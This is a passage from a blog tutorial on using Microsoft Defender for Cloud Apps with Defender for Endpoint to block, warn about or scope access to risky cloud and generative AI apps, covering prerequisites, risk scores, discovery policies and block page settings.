    alt="Blocking AI apps with Microsoft Defender for Cloud Apps"
    width="998"
    height="562"
    src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image_hu_6ce1ccf659840a1b.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image.webp"></figure><p><strong>Total maximum latency: up to 3 hours</strong> from marking an app as unsanctioned to actual blocking on devices. In practice it’s often faster, but plan for the full window if you’re doing time-sensitive blocking.</p>
<p>One important limitation: blocking works at the <strong>domain level</strong>, not full URL paths. So <code>drive.google.com</code> can be blocked, but <code>google.com/drive</code> will not work. Keep this in mind when planning your blocking strategy.</p>

<h2 class="relative group">How is this different from Web Content Filtering?
    <div id="how-is-this-different-from-web-content-filtering" class="anchor"></div>
    
</h2>
<p>Both use Network Protection for enforcement, but they serve different purposes:</p>
<p><strong>Web Content Filtering (WCF)</strong> blocks based on URL categorie, broad classifications like “Adult Content,” “Gambling,” “Social Networking,” or “High Bandwidth.” It’s category-based filtering where you block entire types of websites.</p>
<p><strong>Defender for Cloud Apps blocking</strong> is app-specific. The Cloud App Catalog contains over 31,000 apps, each scored on more than 90 risk factors across security, compliance, legal, and general categories. You’re not blocking “all cloud storage”, you’re blocking specific apps that don’t meet your security requirements while allowing others.</p>

<h3 class="relative group">Order of Precedence
    <div id="order-of-precedence" class="anchor"></div>
    
</h3>
<p>When multiple web protection features are configured, they’re evaluated in this order:</p>

<div class="ms-table" role="region" aria-label="Table" tabindex="0">
  <table>
      <thead>
          <tr>
              <th>Priority</th>
              <th>Feature</th>
              <th>Action</th>
          </tr>
      </thead>
    <tbody>
        <tr>
            <td>1 (Highest)</td>
            <td>Custom Indicators (includes Defender for Cloud Apps policies)</td>
            <td>Allow</td>
        </tr>
        <tr>
            <td>2</td>
            <td>Custom Indicators</td>
            <td>Warn</td>
        </tr>
        <tr>
            <td>3</td>
            <td>Custom Indicators</td>
            <td>Block</td>
        </tr>
        <tr>
            <td>4</td>
            <td>Web Threats (malware, phishing)</td>
            <td>Block</td>
        </tr>
        <tr>
            <td>5 (Lowest)</td>
            <td>Web Content Filtering</td>
            <td>Block</td>
        </tr>
    </tbody>
  </table>
</div>
<p>This means if you have a Web Content Filtering policy blocking “Cloud Storage” but you’ve sanctioned a specific app like OneDrive in Defender for Cloud Apps, OneDrive will still be accessible because custom indicators (Allow) take precedence over WCF.</p>

<h2 class="relative group">Prerequisites
    <div id="prerequisites" class="anchor"></div>
    
</h2>

<h3 class="relative group">Licensing
    <div id="licensing" class="anchor"></div>
    
</h3>
<p>You need one of the following combinations:</p>
<ul>
<li>Microsoft Defender for Cloud Apps + Microsoft Defender for Endpoint Plan 2</li>
<li>Microsoft 365 E5</li>
<li>Microsoft Defender for Endpoint with Microsoft Defender for Business</li>
</ul>

<h3 class="relative group">Microsoft Defender for Endpoint Configuration
    <div id="microsoft-defender-for-endpoint-configuration" class="anchor"></div>
    
</h3>
<p>The following must be enabled on your devices:</p>

<div class="ms-table" role="region" aria-label="Table" tabindex="0">
  <table>
      <thead>
          <tr>
              <th>Setting</th>
              <th>Location</th>
              <th>Required State</th>
          </tr>
      </thead>
    <tbody>
        <tr>
            <td>Real-time protection</td>
            <td>Microsoft Defender Antivirus</td>
            <td>Enabled</td>
        </tr>
        <tr>
            <td>Cloud-delivered protection</td>
            <td>Microsoft Defender Antivirus</td>
            <td>Enabled</td>
        </tr>
        <tr>
            <td>Network Protection</td>
            <td>Microsoft Defender for Endpoint</td>
            <td><strong>Block mode</strong> (not Audit)</td>
        </tr>
        <tr>
            <td>Custom network indicators</td>
            <td>Settings → Endpoints → Advanced features</td>
            <td>Enabled</td>
        </tr>
    </tbody>
  </table>
</div>
<p><strong>Important:</strong> Network Protection in Audit mode will log events but won’t actually block anything. Custom network indicators must be enabled or Defender for Cloud Apps won’t be able to create the URL indicators.</p>

<h3 class="relative group">Supported Operating Systems
    <div id="supported-operating-systems" class="anchor"></div>
    
</h3>

<div class="ms-table" role="region" aria-label="Table" tabindex="0">
  <table>
      <thead>
          <tr>
              <th>OS</th>
              <th>Minimum Version</th>
          </tr>
      </thead>
    <tbody>
        <tr>
            <td>Windows</td>
            <td>Windows 10 version 1809 (RS5) OS Build 17763.379 or higher, Windows 11</td>
        </tr>
        <tr>
            <td>macOS</td>
            <td>Big Sur (11) or higher, with MDE version 20.123072.25.0+</td>
        </tr>
        <tr>
            <td>iOS</td>
            <td>14.0 or higher</td>
        </tr>
        <tr>
            <td>Android</td>
            <td>8.0 or higher</td>
        </tr>
        <tr>
            <td>Linux</td>
            <td>See Microsoft’s specific distro requirements</td>
        </tr>
    </tbody>
  </table>
</div>

<h2 class="relative group">Browser behavior
    <div id="browser-behavior" class="anchor"></div>
    
</h2>
<p>This is where it gets nuanced:</p>
<p><strong>Microsoft Edge</strong>: Uses SmartScreen directly. Users see a proper block page with your custom message when they hit a blocked app. Network Protection is not required for Edge on Windows, SmartScreen handles it natively.</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Microsoft Edge block page saying the website is blocked by your organization"
    width="1920"
    height="1140"
    src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-1_hu_6f814638654709dd.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-1.webp"></figure><p><strong>Chrome, Firefox, Brave, Opera, Safari</strong>: Network Protection handles blocking at the network level. Users see a “Secure Connection Failed” error in the browser, plus a Windows/macOS toast notification explaining the block.</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Firefox showing a 403 Forbidden error for a blocked cloud app"
    width="1919"
    height="1137"
    src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-2_hu_20f8b7a7d2090f55.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-2.webp"></figure><p>For Network Protection to properly inspect HTTPS traffic in non-Edge browsers, connections must use TCP/IP (not UDP/QUIC) and the TLS ClientHello must not be encrypted. If you want full coverage, consider deploying browser policies:</p>
<p><strong>Chrome enterprise policies:</strong></p>
<ul>
<li><code>QuicAllowed</code> = false</li>
<li><code>EncryptedClientHelloEnabled</code> = false</li>
</ul>
<p><strong>Firefox policies:</strong></p>
<ul>
<li><code>network.http.http3.enable</code> = false</li>
<li><code>DisableEncryptedClientHello</code> = true</li>
</ul>

<h3 class="relative group">About the Microsoft Defender Browser Protection Extension
    <div id="about-the-microsoft-defender-browser-protection-extension" class="anchor"></div>
    
</h3>
<p>You may see references to the “Microsoft Defender Browser Protection” extension in some Microsoft documentation. This is a <strong>consumer-focused browser add-on</strong> that provides SmartScreen-like phishing/malware protection to Chrome users.</p>
<p>For enterprise customers with Microsoft Defender for Endpoint deployed, this extension is <strong>not required</strong> for Defender for Cloud Apps blocking to work. Network Protection handles blocking in third-party browsers at the OS level.</p>
<p>Microsoft’s guidance for enterprise customers is to use Network Protection rather than the browser extension. The extension is being deprecated for Manifest V3 and provides redundant functionality for MDE-protected devices.</p>

<h2 class="relative group">Step 1: Enable the integration
    <div id="step-1-enable-the-integration" class="anchor"></div>
    
</h2>
<p>You need to configure settings in two places.</p>

<h3 class="relative group">In the Defender Portal (Microsoft Defender for Cloud Apps settings)
    <div id="in-the-defender-portal-microsoft-defender-for-cloud-apps-settings" class="anchor"></div>
    
</h3>
<ol>
<li>Go to <strong>Settings</strong> → <strong>Cloud Apps</strong> → <strong>Cloud Discovery</strong> → <strong>Microsoft Defender for Endpoint</strong></li>
<li>Enable <strong>Enforce app access</strong></li>
<li>Click <strong>Save</strong></li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Enforce app access enabled under the Defender for Endpoint integration in Cloud Apps settings"
    width="2000"
    height="1095"
    src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-3_hu_9ab52782c33cc070.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-3.webp"></figure><p>It can take up to 30 minutes for this setting to take effect</p>

<h3 class="relative group">In the Defender Portal (Endpoint settings)
    <div id="in-the-defender-portal-endpoint-settings" class="anchor"></div>
    
</h3>
<ol>
<li>Go to <strong>Settings</strong> → <strong>Endpoints</strong> → <strong>Advanced features</strong></li>
<li>Enable <strong>Microsoft Defender for Cloud Apps</strong> (for discovery)</li>
<li>Enable <strong>Custom network indicators</strong> (required for blocking)</li>
<li>Click <strong>Save preferences</strong></li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Custom network indicators and Microsoft Defender for Cloud Apps enabled in Endpoints advanced features"
    width="2000"
    height="1097"
    src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-4_hu_cc7e29a483e33f3c.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-4.webp"></figure><p>Without Custom network indicators enabled, the blocking won’t work: Defender for Cloud Apps won’t be able to create the URL indicators that Network Protection uses.</p>

<h2 class="relative group">Step 2: Understanding the Microsoft Defender for Cloud Apps catalog
    <div id="step-2-understanding-the-microsoft-defender-for-cloud-apps-catalog" class="anchor"></div>
    
</h2>
<p>Before you start blocking apps, you need to understand how apps are scored. The Cloud App Catalog contains over 31,000 discoverable cloud apps, each scored from 1-10 based on more than 90 risk factors.</p>
<p><strong>The scale</strong>: 1 = highest risk, 10 = lowest risk.</p>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Roll Safe meme"
    width="360"
    height="331"
    src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-9.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-9.webp"></figure><p>This trips people up: lower numbers are worse.</p>

<h3 class="relative group">Risk categories
    <div id="risk-categories" class="anchor"></div>
    
</h3>

<div class="ms-table" role="region" aria-label="Table" tabindex="0">
  <table>
      <thead>
          <tr>
              <th>Category</th>
              <th>What It Evaluates</th>
          </tr>
      </thead>
    <tbody>
        <tr>
            <td><strong>General</strong></td>
            <td>Company stability, domain age, founding year, popularity</td>
        </tr>
        <tr>
            <td><strong>Security</strong></td>
            <td>MFA support, encryption at rest, data classification, admin/user audit trails, data ownership</td>
        </tr>
        <tr>
            <td><strong>Compliance</strong></td>
            <td>SOC 2, ISO 27001, HIPAA, PCI-DSS, CSA, and other certifications</td>
        </tr>
        <tr>
            <td><strong>Legal</strong></td>
            <td>DMCA compliance, data retention policy, GDPR readiness, data ownership terms</td>
        </tr>
    </tbody>
  </table>
</div>

<h3 class="relative group">Viewing the catalog
    <div id="viewing-the-catalog" class="anchor"></div>
    
</h3>
<ol>
<li>Go to <strong>Cloud Apps</strong> → <strong>Cloud app catalog</strong></li>
<li>Use the <strong>Category</strong> filter on the left to browse by app type (Generative AI, Cloud Storage, etc.)</li>
<li>Toggle <strong>Advanced filters</strong> to filter by specific risk factors</li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Cloud app catalog filtered on risk score 0-1 with the category filter open"
    width="2000"
    height="1095"
    src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-5_hu_d072a4f10bca39a1.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-5.webp"></figure><p>For example, to find risky cloud storage apps:</p>
<ul>
<li>Category: Cloud storage</li>
<li>Risk score: 5 or lower</li>
<li>Compliance risk factor → SOC 2: No</li>
<li>Security risk factor → Data-at-rest encryption: Not supported</li>
</ul>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Cloud app catalog filtered on risky cloud storage apps without SOC 2 and data-at-rest encryption"
    width="2000"
    height="1099"
    src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-6_hu_50f5889bdd18413f.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-6.webp"></figure>
<h3 class="relative group">Customizing Risk Score weights
    <div id="customizing-risk-score-weights" class="anchor"></div>
    
</h3>
<p>If certain factors matter more to your organization, you can adjust the weighting:</p>
<ol>
<li>Go to <strong>Settings</strong> → <strong>Cloud Apps</strong> → <strong>Cloud Discovery</strong> → <strong>Score metrics</strong></li>
<li>Adjust the <strong>Importance</strong> slider for each category: Ignored, Low, Medium, High, or Very High</li>
<li>Enable <strong>N/A values</strong> checkbox if you want missing information to negatively impact scores</li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Score metrics settings with importance sliders for security risk factors"
    width="2000"
    height="1096"
    src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-7_hu_6c1e592ef23a07bf.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-7.webp"></figure>
<h3 class="relative group">Overriding Risk Scores
    <div id="overriding-risk-scores" class="anchor"></div>
    
</h3>
<p>Sometimes you’ve vetted an app internally even though its catalog score is low. You can override scores for specific apps:</p>
<ol>
<li>In the Cloud app catalog, find the app</li>
<li>Click the three dots → <strong>Override app score</strong></li>
<li>Select your custom score</li>
<li>Add an App note explaining your justification</li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Override score dialog for an app in the Cloud app catalog"
    width="2000"
    height="1097"
    src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-8_hu_9350743822f16a82.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-8.webp"></figure>
<h2 class="relative group">Step 3: Manually block apps (Unsanction)
    <div id="step-3-manually-block-apps-unsanction" class="anchor"></div>
    
</h2>

<h3 class="relative group">Block from discovered apps
    <div id="block-from-discovered-apps" class="anchor"></div>
    
</h3>
<ol>
<li>Go to <strong>Cloud Apps</strong> → <strong>Cloud Discovery</strong> → <strong>Discovered apps</strong> tab</li>
<li>Find the app you want to block</li>
<li>Click the three dots at the end of the row → <strong>Unsanctioned</strong></li>
<li>Click <strong>Save</strong></li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Tag as unsanctioned dialog for a discovered app"
    width="2000"
    height="1097"
    src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-11_hu_1313c7efbd9701b8.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-11.webp"></figure>
<h3 class="relative group">Block from the Cloud App catalog
    <div id="block-from-the-cloud-app-catalog" class="anchor"></div>
    
</h3>
<p>You can also proactively block apps that haven’t been discovered in your environment yet:</p>
<ol>
<li>Go to <strong>Cloud Apps</strong> → <strong>Cloud app catalog</strong></li>
<li>Find an app (e.g., search for a specific AI tool)</li>
<li>Click the three dots → <strong>Unsanctioned</strong></li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Tag as unsanctioned dialog for a generative AI app in the Cloud app catalog"
    width="2000"
    height="1097"
    src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-12_hu_72582c67e1ad7779.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-12.webp"></figure><p>This is useful for preemptively blocking apps before anyone even tries to use them.</p>

<h3 class="relative group">What happens after unsanctioning
    <div id="what-happens-after-unsanctioning" class="anchor"></div>
    
</h3>
<p>Once marked as unsanctioned:</p>
<ol>
<li>Domains sync to Defender for Endpoint within approximately 1 hour</li>
<li>URL indicators are created automatically</li>
<li>Indicators propagate to devices within approximately 2 hours</li>
<li>Users attempting to access the app get blocked</li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="URL indicators created automatically in Defender for Endpoint for an unsanctioned app"
    width="2000"
    height="1096"
    src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-13_hu_7455eda35f2207b2.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-13.webp"></figure>
<h2 class="relative group">Step 4: Automate Blocking with App Discovery policies
    <div id="step-4-automate-blocking-with-app-discovery-policies" class="anchor"></div>
    
</h2>
<p>Manual blocking doesn’t scale. For proactive protection, create policies that automatically unsanction apps based on your criteria.</p>

<h3 class="relative group">Create an App Discovery policy
    <div id="create-an-app-discovery-policy" class="anchor"></div>
    
</h3>
<ol>
<li>Go to <strong>Cloud Apps</strong> → <strong>Policies</strong> → <strong>Policy management</strong></li>
<li>Select the <strong>Shadow IT</strong> tab</li>
<li>Click <strong>Create policy</strong> → <strong>App discovery policy</strong></li>
</ol>

<h3 class="relative group">Example policy 1: Block high-risk apps
    <div id="example-policy-1-block-high-risk-apps" class="anchor"></div>
    
</h3>
<p>This policy automatically blocks apps with poor risk scores that are actually being used.</p>
<p><strong>Configuration:</strong></p>
<ul>
<li><strong>Name</strong>: Block High-Risk Apps</li>
<li><strong>Severity</strong>: High</li>
<li>Under <strong>Apps matching all of the following</strong>:
<ul>
<li>Risk score: equals 5 or lower</li>
</ul>
</li>
<li>Under <strong>Trigger a policy match if all the following occur on the same day</strong>:
<ul>
<li>Daily traffic: greater than 50 MB</li>
<li>Users: greater than 5</li>
</ul>
</li>
<li><strong>Governance actions</strong>: Tag app as <strong>Unsanctioned</strong></li>
</ul>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="App discovery policy that tags new risky apps with a low risk score as unsanctioned"
    width="2000"
    height="1763"
    src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-15_hu_56b067491a5e15e5.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-15.webp"></figure><p>The traffic and user thresholds prevent blocking apps that nobody’s actually using.</p>

<h3 class="relative group">Example policy 2: Block all generative AI apps
    <div id="example-policy-2-block-all-generative-ai-apps" class="anchor"></div>
    
</h3>
<p>With AI tools proliferating, many organizations want to block unapproved AI apps by default.</p>
<p><strong>Configuration:</strong></p>
<ul>
<li><strong>Name</strong>: Block Unapproved AI Apps</li>
<li><strong>Severity</strong>: Medium</li>
<li>Under <strong>Apps matching all of the following</strong>:
<ul>
<li>Category: equals <strong>Generative AI</strong></li>
</ul>
</li>
<li><strong>Governance actions</strong>: Tag app as <strong>Unsanctioned</strong></li>
</ul>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="App discovery policy that tags all generative AI apps as unsanctioned"
    width="2000"
    height="1688"
    src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-16_hu_224831e090ca9059.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-16.webp"></figure><p>After enabling this policy, manually sanction the AI tools your organization has approved (Microsoft Copilot, ChatGPT Enterprise with your corporate contract, etc.).</p>

<h3 class="relative group">Example policy 3: Compliance-driven blocking
    <div id="example-policy-3-compliance-driven-blocking" class="anchor"></div>
    
</h3>
<p>Block apps that don’t meet your compliance requirements.</p>
<p><strong>Configuration:</strong></p>
<ul>
<li><strong>Name</strong>: Block Non-Compliant Apps</li>
<li><strong>Severity</strong>: High</li>
<li>Under <strong>Apps matching all of the following</strong>:
<ul>
<li>Compliance risk factor → SOC 2: equals <strong>No</strong></li>
<li>Users: greater than 10</li>
</ul>
</li>
<li><strong>Governance actions</strong>: Tag app as <strong>Unsanctioned</strong></li>
</ul>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="App discovery policy that tags apps without SOC 2 compliance as unsanctioned"
    width="2000"
    height="1691"
    src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-17_hu_1dc7366d30a85d02.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-17.webp"></figure>
<h3 class="relative group">Example policy 4: Block apps without encryption
    <div id="example-policy-4-block-apps-without-encryption" class="anchor"></div>
    
</h3>
<p><strong>Configuration:</strong></p>
<ul>
<li><strong>Name</strong>: Block Unencrypted Storage Apps</li>
<li><strong>Severity</strong>: High</li>
<li>Under <strong>Apps matching all of the following</strong>:
<ul>
<li>Category: equals <strong>Cloud storage</strong></li>
<li>Security risk factor → Data-at-rest encryption: equals <strong>Not supported</strong></li>
</ul>
</li>
<li><strong>Governance actions</strong>: Tag app as <strong>Unsanctioned</strong></li>
</ul>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="App discovery policy that tags cloud storage apps without data-at-rest encryption as unsanctioned"
    width="2000"
    height="1764"
    src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-18_hu_2571585a4d3f481c.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-18.webp"></figure>
<h3 class="relative group">Policy behavior notes
    <div id="policy-behavior-notes" class="anchor"></div>
    
</h3>
<ul>
<li>Newly created policies can trigger alerts for apps that already exist in your environment. Microsoft limits this to once per 90 days per app per continuous report.</li>
<li>If there’s a conflict between manual governance actions and policy governance, the <strong>last operation applied takes precedence</strong>.</li>
<li>Data from snapshot reports don’t trigger alerts in app discovery policies.</li>
</ul>

<h2 class="relative group">Step 5: Block apps for specific Device Groups (Scoped Profiles)
    <div id="step-5-block-apps-for-specific-device-groups-scoped-profiles" class="anchor"></div>
    
</h2>
<p>Not every block should apply organization-wide. Marketing might need access to design tools that should be blocked for Finance. Scoped profiles let you target blocking to specific Defender for Endpoint device groups.</p>
<p><strong>Important</strong>: Scoped profiles work with <strong>Device Groups only</strong>, not User Groups. This is because Microsoft Defender for Endpoint executes the blocking, and MDE works at the device level.</p>

<h3 class="relative group">Create a Scoped Profile
    <div id="create-a-scoped-profile" class="anchor"></div>
    
</h3>
<ol>
<li>Go to <strong>Settings</strong> → <strong>Cloud Apps</strong> → <strong>Cloud Discovery</strong> → <strong>App tags</strong> → <strong>Scoped profiles</strong> tab</li>
<li>Click <strong>Add profile</strong></li>
<li>Configure:
<ul>
<li><strong>Name</strong>: Give it a descriptive name (e.g., “Marketing Exception” or “Finance Restrictions”)</li>
<li><strong>Description</strong>: Document the purpose</li>
<li><strong>Type</strong>: Choose <strong>Include</strong> or <strong>Exclude</strong>
<ul>
<li><strong>Include</strong>: Only devices in the selected groups are affected by blocks using this profile</li>
<li><strong>Exclude</strong>: All devices EXCEPT those in the selected groups are affected</li>
</ul>
</li>
<li><strong>Device groups</strong>: Select from your Defender for Endpoint device groups</li>
</ul>
</li>
<li>Click <strong>Save</strong></li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Creating a scoped profile that excludes a device group from blocking"
    width="2000"
    height="1123"
    src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-19_hu_e468c07397616dcf.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-19.webp"></figure>
<h3 class="relative group">Apply a Scoped Profile when blocking
    <div id="apply-a-scoped-profile-when-blocking" class="anchor"></div>
    
</h3>
<p>When you unsanction an app:</p>
<ol>
<li>In the <strong>Tag as unsanctioned?</strong> dialog, you’ll see an option to <strong>Select a profile to include or exclude groups from being blocked</strong></li>
<li>Choose your scoped profile</li>
<li>Click <strong>Save</strong></li>
</ol>
<p>The app will only be blocked for devices matching that profile.</p>

<h3 class="relative group">Important notes on Scoped Profiles
    <div id="important-notes-on-scoped-profiles" class="anchor"></div>
    
</h3>
<ul>
<li>Device groups are pulled from Microsoft Defender for Endpoint. Create device groups there first if needed.</li>
<li>The scoped profile option only appears if the <strong>Win10 Endpoint Users</strong> data source has consistently received data during the past 30 days.</li>
<li>If you’re using <strong>Microsoft Defender for Business</strong> instead of full Defender for Endpoint, device groups are managed differently and won’t appear in Defender for Cloud Apps.</li>
<li>To change the scoped profile for an already-unsanctioned app, you must first remove the unsanctioned tag, then re-unsanction with the new profile.</li>
<li>It can take up to 2 hours for domain changes to propagate to devices after modifying scoping.</li>
</ul>

<h2 class="relative group">Step 6: Warn Users instead of blocking (Monitored)
    <div id="step-6-warn-users-instead-of-blocking-monitored" class="anchor"></div>
    
</h2>
<p>Sometimes a hard block is too aggressive. You might want to discourage use without completely preventing access. The <strong>Monitored</strong> tag provides a warning experience instead of blocking.</p>

<h3 class="relative group">The three app states
    <div id="the-three-app-states" class="anchor"></div>
    
</h3>

<div class="ms-table" role="region" aria-label="Table" tabindex="0">
  <table>
      <thead>
          <tr>
              <th>Tag</th>
              <th>Behavior</th>
              <th>Sync to MDE</th>
          </tr>
      </thead>
    <tbody>
        <tr>
            <td><strong>Sanctioned</strong></td>
            <td>Allowed</td>
            <td>Creates Allow indicator</td>
        </tr>
        <tr>
            <td><strong>Monitored</strong></td>
            <td>Warn</td>
            <td>Creates Warn indicator</td>
        </tr>
        <tr>
            <td><strong>Unsanctioned</strong></td>
            <td>Blocked</td>
            <td>Creates Block indicator</td>
        </tr>
    </tbody>
  </table>
</div>

<h3 class="relative group">How warnings work
    <div id="how-warnings-work" class="anchor"></div>
    
</h3>
<p>When you tag an app as <strong>Monitored</strong>:</p>
<ul>
<li>The domains sync to Defender for Endpoint with Action=Warn (usually within a few minutes)</li>
<li>Users see a warning page when they try to access the app</li>
<li>Users can choose to proceed (bypass the warning)</li>
<li>You can track bypass behavior in the Defender portal</li>
</ul>

<h3 class="relative group">Configure warning settings
    <div id="configure-warning-settings" class="anchor"></div>
    
</h3>
<ol>
<li>Go to <strong>Settings</strong> → <strong>Cloud Apps</strong> → <strong>Cloud Discovery</strong> → <strong>Microsoft Defender for Endpoint</strong></li>
<li>Configure the following:</li>
</ol>
<p><strong>Notification URL</strong>: Enter a URL pointing to a page explaining:</p>
<ul>
<li>Why the app is flagged as risky</li>
<li>What approved alternatives exist</li>
<li>How to request an exception</li>
</ul>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Notification URL for warned apps in the Defender for Endpoint integration settings"
    width="2000"
    height="1122"
    src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-22_hu_826f0d0a98215c61.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-22.webp"></figure><p><strong>Bypass duration</strong>: Configure how long (in hours) a user can access the app after bypassing the warning before seeing it again. Default is 24 hours.</p>

<h3 class="relative group">Tag an app as monitored
    <div id="tag-an-app-as-monitored" class="anchor"></div>
    
</h3>
<ol>
<li>Go to <strong>Cloud Apps</strong> → <strong>Cloud Discovery</strong> → <strong>Discovered apps</strong></li>
<li>Find the app</li>
<li>Click the three dots → <strong>Monitored</strong></li>
</ol>

<h3 class="relative group">Monitor user behavior
    <div id="monitor-user-behavior" class="anchor"></div>
    
</h3>
<p>Track how many users are bypassing warnings:</p>
<ol>
<li>Go to <strong>Cloud Apps</strong> → <strong>Cloud Discovery</strong> → <strong>Discovered apps</strong></li>
<li>Select the monitored app</li>
<li>View applied controls and bypass statistics on the app’s overview page</li>
</ol>
<p>High bypass rates indicate either a training opportunity or that you should formally sanction (or fully block) the app.</p>

<h2 class="relative group">Step 7: Customize the block page
    <div id="step-7-customize-the-block-page" class="anchor"></div>
    
</h2>
<p>When users hit a blocked app in Microsoft Edge, they see a block notification. You can customize this experience by providing a link to internal resources.</p>

<h3 class="relative group">Configure the block page URL
    <div id="configure-the-block-page-url" class="anchor"></div>
    
</h3>
<ol>
<li>Go to <strong>Settings</strong> → <strong>Cloud Apps</strong> → <strong>Cloud Discovery</strong> → <strong>Microsoft Defender for Endpoint</strong></li>
<li>In the <strong>Alerts</strong> dropdown, select <strong>Informational</strong></li>
<li>Under <strong>User warnings</strong> → <strong>Notification URL for blocked apps</strong>, enter your URL</li>
</ol>
<figure><img
    class="my-0 rounded-md"
    loading="lazy"
    decoding="async"
    fetchpriority="auto"
    alt="Notification URL for blocked apps in the Defender for Endpoint integration settings"
    width="2000"
    height="1122"
    src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-23_hu_8a6dac28a416c1c6.webp"
   
   
    data-zoom-src="https://www.modernsecurity.nl/block-apps-microsoft-defender-for-cloud-apps/image-23.webp"></figure><p>Point this to a SharePoint page or internal wiki explaining:</p>
<ul>
<li>Why apps get blocked</li>
<li>Your organization’s acceptable use policy</li>
<li>How to request an exception</li>
<li>What approved alternatives exist</li>
</ul>
<p>When users click “Visit the Support page” on the block page, they’ll be redirected to this URL.</p>

<h2 class="relative group">Step 8: Anomaly Detection for Unusual Behavior
    <div id="step-8-anomaly-detection-for-unusual-behavior" class="anchor"></div>
    
</h2>
<p>Beyond policy-based blocking, Defender for Cloud Apps can detect anomalous behavior, like a user who suddenly uploads 600 GB to an app they’ve never used.</p>

<h3 class="relative group">Cloud Discovery Anomaly Detection
    <div id="cloud-discovery-anomaly-detection" class="anchor"></div>
    
</h3>
